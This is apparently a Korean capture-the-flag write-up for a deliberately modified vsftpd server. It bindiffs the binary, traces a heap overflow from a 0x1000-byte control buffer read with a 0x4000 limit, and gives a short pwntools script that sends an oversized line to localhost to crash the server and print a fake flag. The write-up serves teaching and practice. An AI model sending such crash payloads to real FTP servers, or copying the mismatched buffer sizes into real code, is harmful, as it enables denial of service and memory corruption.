
Bindiff
vsftpd vs vvsftpd
vsftpd는 원본 ftp 서버 바이너리 파일, vvsftpd는 수정된 ftp 서버 바이너리 파일로 보인다.

수정된 vvsftpd init_connection 함수를 살펴보면, 첫줄에 다음 코드가 추가되있다.
- 11 = SIGSEGV (segmantation fault)
signal(11, (__sighandler_t)getFlag);
- getFlag(): flag 출력
void __cdecl __noreturn getFlag()
{
int fd; // [rsp+Ch] [rbp-34h]
char flag[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u);
fd = open("flag", 0);
memset(flag, 0, 32);
read(fd, flag, 0x20u);
printf("500 OOPS: %s\n", flag);
exit(1);
}
문제서버 환경 구축
strace를 통해 vvsftpd 바이너리를 실행시키면, /etc/vsftpd.conf 파일을 불러오기 때문에
문제파일에서 제공된 vvsftpd.conf을 거기다 복붙해주면 된다.
ubuntu@2d0f4d9a440c:~/hto2024/findiff$ sudo strace ./vvsftpd ... newfstatat(AT_FDCWD, "/etc/vsftpd.conf", 0x603123e264c0, 0) = -1 ENOENT (No such file or directory) ...
vvsftpd.conf
- anonymous 로그인 가능
listen=YES seccomp_sandbox=NO one_process_model=YES # User management anonymous_enable=YES no_anon_password=YES nopriv_user=nobody ftp_username=nobody # Permissions connect_from_port_20=NO run_as_launching_user=YES listen_port=5000 #anon_mkdir_write_enable=YES anon_root=/tmp/ftp # Filesystem interactions write_enable=YES download_enable=NO
Analysis
5000 포트에 접속하고 아무 문자를 입력하면, ”530 Please login with USER and PASS.” 문자열을 출력한다.
역참조해서 따라가보자
ubuntu@2d0f4d9a440c:~/hto2024/findiff$ nc 127.0.0.1 5000 220 (vvsFTPd 3.1.3.3.7) s 530 Please login with USER and PASS.
해당 문자열은 parse_username_password 함수에서 참조되고 있었다.
여기서 “USER”를 커맨드로 받고, arg는 커맨드 띄어쓰기 이후를 가리킨다.
void __cdecl __noreturn parse_username_password(vsf_session *p_sess)
{
while ( 1 )
{
while ( 1 )
{
vsf_cmdio_get_cmd_and_arg(p_sess, &p_sess->ftp_cmd_str, &p_sess->ftp_arg_str, 1);
if ( !tunable_ftp_enable )
break;
if ( str_equal_text((const mystr_0 *)&p_sess->ftp_cmd_str, "USER") )
{
handle_user_command(p_sess);
}
...
USER ABCD를 넣었을떄, anonymous로만 로그인 가능하다고 뜬다.
ubuntu@2d0f4d9a440c:~/hto2024/findiff$ nc 127.0.0.1 5000 220 (vvsFTPd 3.1.3.3.7) USER ABCD 530 This FTP server is anonymous only.
USER anonymous를 넣었을때, 로그인에 성공한다.
ubuntu@2d0f4d9a440c:~/hto2024/findiff$ nc 127.0.0.1 5000 220 (vvsFTPd 3.1.3.3.7) USER anonymous 230 Login successful.
근데 사실상, 문제점은 아래와 같다.
맨 처음에 init_connection 에 의해 parse_username_password 함수를 호출한다.
이후 vsf_cmdio_get_cmd_and_arg, control_getline 차례로 호출되는데,
여기서 control_getline 에서 vsf_secbuf_alloc(&p_sess->p_control_line_buf, 0x1000u); 에 의해 커맨드 라인 버퍼인 p_sess->p_control_line_buf를 0x1000만큼 할당받지만,str_netfd_alloc 호출할때, 매개변수가 0x4000으로 넘겨져 입력받을 크기가 훨씬 많아 힙 버퍼오버플로우가 발생한다.
void __cdecl __noreturn init_connection(vsf_session *p_sess)
{
signal(11, (__sighandler_t)getFlag);
if ( tunable_setproctitle_enable )
vsf_sysutil_setproctitle("not logged in");
vsf_cmdio_set_alarm(p_sess);
check_limits(p_sess);
if ( tunable_ssl_enable && tunable_implicit_ssl )
ssl_control_handshake(p_sess);
if ( tunable_ftp_enable )
emit_greeting(p_sess);
parse_username_password(p_sess);
}
void __cdecl __noreturn parse_username_password(vsf_session *p_sess)
{
while ( 1 )
{
while ( 1 )
{
vsf_cmdio_get_cmd_and_arg(p_sess, &p_sess->ftp_cmd_str, &p_sess->ftp_arg_str, 1);
...
void __cdecl vsf_cmdio_get_cmd_and_arg(vsf_session *p_sess, mystr *p_cmd_str, mystr *p_arg_str, int set_alarm)
{
int ret; // [rsp+2Ch] [rbp-4h]
if ( set_alarm )
vsf_cmdio_set_alarm(p_sess);
ret = control_getline(p_cmd_str, p_sess);
int __cdecl control_getline(mystr *p_str, vsf_session *p_sess)
{
unsigned int len; // [rsp+18h] [rbp-8h]
int ret; // [rsp+1Ch] [rbp-4h]
if ( !p_sess->p_control_line_buf )
vsf_secbuf_alloc(&p_sess->p_control_line_buf, 0x1000u);
ret = ftp_getline(p_sess, p_str, p_sess->p_control_line_buf);
if ( !ret )
return 0;
if ( ret < 0 )
vsf_cmdio_write_exit(p_sess, 500, "Input line too long.", 1);
str_replace_char((mystr_0 *)p_str, 0, 10);
for ( len = str_getlen((const mystr_0 *)p_str); len && str_get_char_at((const mystr_0 *)p_str, len - 1) == 13; --len )
str_trunc((mystr_0 *)p_str, len - 1);
return 1;
}
int __cdecl ftp_getline(vsf_session *p_sess, mystr *p_str, char *p_buf)
{
int ret; // [rsp+2Ch] [rbp-14h]
int (*p_peek)(vsf_session *, char *, unsigned int); // [rsp+30h] [rbp-10h]
int (*p_read)(vsf_session *, char *, unsigned int); // [rsp+38h] [rbp-8h]
if ( p_sess->control_use_ssl && p_sess->ssl_slave_active )
{
priv_sock_send_cmd(p_sess->ssl_consumer_fd, 4);
ret = priv_sock_get_int(p_sess->ssl_consumer_fd);
if ( ret >= 0 )
priv_sock_get_str(p_sess->ssl_consumer_fd, p_str);
return ret;
}
else
{
p_peek = (int (*)(vsf_session *, char *, unsigned int))plain_peek_adapter;
p_read = (int (*)(vsf_session *, char *, unsigned int))plain_read_adapter;
if ( p_sess->control_use_ssl )
{
p_peek = (int (*)(vsf_session *, char *, unsigned int))ssl_peek_adapter;
p_read = (int (*)(vsf_session *, char *, unsigned int))ssl_read_adapter;
}
return str_netfd_alloc(p_sess, p_str, 10, p_buf, 0x4000u, p_peek, p_read);
}
}
int __cdecl str_netfd_alloc(
vsf_session *p_sess,
mystr *p_str,
char term,
char *p_readbuf,
unsigned int maxlen,
str_netfd_read_t p_peekfunc,
str_netfd_read_t p_readfunc)
{
unsigned int i; // [rsp+38h] [rbp-18h]
unsigned int ia; // [rsp+38h] [rbp-18h]
unsigned int left; // [rsp+3Ch] [rbp-14h]
unsigned int retval; // [rsp+40h] [rbp-10h]
int retvala; // [rsp+40h] [rbp-10h]
int retvalb; // [rsp+40h] [rbp-10h]
unsigned int bytes_read; // [rsp+44h] [rbp-Ch]
char *p_readpos; // [rsp+48h] [rbp-8h]
p_readpos = p_readbuf;
left = maxlen;
str_empty((mystr_0 *)p_str);
LABEL_2:
if ( &p_readpos[left] != &p_readbuf[maxlen] )
solve.py
힙 오버플로우를 발생시켜 11 = SIGSEGV (segmantation fault) 시그널 발생 유도.
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = remote("127.0.0.1", 5000)
p.sendline(b'A'*0x4000)
p.interactive()
Result
ubuntu@2d0f4d9a440c:~/hto2024/findiff$ python3 solve.py
[+] Opening connection to 127.0.0.1 on port 5000: Done
[*] Switching to interactive mode
220 (vvsFTPd 3.1.3.3.7)
500 OOPS: flag{fake_flag}
[*] Got EOF while reading in interactive
$